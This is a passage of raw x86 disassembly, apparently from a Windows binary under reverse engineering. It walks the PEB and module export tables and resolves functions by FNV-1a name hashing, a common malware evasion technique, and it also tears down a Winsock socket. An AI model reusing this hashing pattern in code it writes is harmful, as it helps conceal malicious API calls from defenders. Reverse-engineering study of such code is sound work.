je 0x4875f3
nop dword [eax]
push 0x64
call edi
mov ecx, dword [0x571134]
mov eax, 0x2aaaaaab
sub ecx, dword [0x571130]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x4875d0
mov byte [0x570f39], 1
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x18], ecx
cmp ecx, esi
je 0x487674
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x487674
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x48766d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x487650
cmp esi, 0x2fa62ca8
je 0x487678
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x487636
mov eax, dword [eax]
jmp 0x487606
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x1c]
push 0xbb8
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push 2
push dword [0x56eb3c]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [0x56eb3c]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
cmp byte [0x570f56], 0
je 0x48777d
cmp byte [ebp - 0x29], 0
je 0x48777d
nop
push 0x28
push 0x7745d669
call fcn.00411d80
mov ecx, dword fs:[0x30]
add esp, 8
mov dword [ebp - 0x14], eax
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
nop
mov esi, dword [ecx + 0x18]
mov dword [ebp - 0x1c], esi
mov edx, dword [esi + 0x3c]
mov eax, dword [edx + esi + 0x78]
add eax, esi
mov dword [ebp - 0x18], eax
cmp eax, esi
je 0x487754
mov edi, dword [eax + 0x18]
test edi, edi
je 0x487754
mov eax, dword [eax + 0x20]
lea ebx, [eax + edi*4]
add ebx, esi
mov eax, dword [ebx - 4]
lea ebx, [ebx - 4]
add eax, esi
dec edi
mov esi, 0x811c9dc5
mov dl, byte [eax]
inc eax
test dl, dl
je 0x48774d
nop word [eax + eax]
movsx edx, dl
lea eax, [eax + 1]
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [eax - 1]
test dl, dl
jne 0x487730
cmp esi, 0x2fa62ca8
je 0x487758
mov esi, dword [ecx + 0x18]
test edi, edi
jne 0x487715
mov ecx, dword [ecx]
jmp 0x4876f0
mov esi, dword [ebp - 0x18]
mov edx, dword [ebp - 0x1c]
push dword [ebp - 0x14]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
jmp 0x4876d0
call sub.KERNEL32.dll_GetCurrentProcessId
mov esi, eax
mov byte [ebp - 4], 0xb2
lea ecx, [ebp - 0x1c8]
call fcn.0040b870
mov byte [ebp - 4], 6
lea eax, [ebp - 0x1c8]
mov dword [ebp - 0x24], eax
mov dword [ebp - 4], 0xb5
lea ecx, [ebp - 0x288]
call fcn.0040b870
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x288]
mov dword [ebp - 0x94], eax
mov dword [ebp - 4], 0xffffffff
mov eax, esi
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 0x10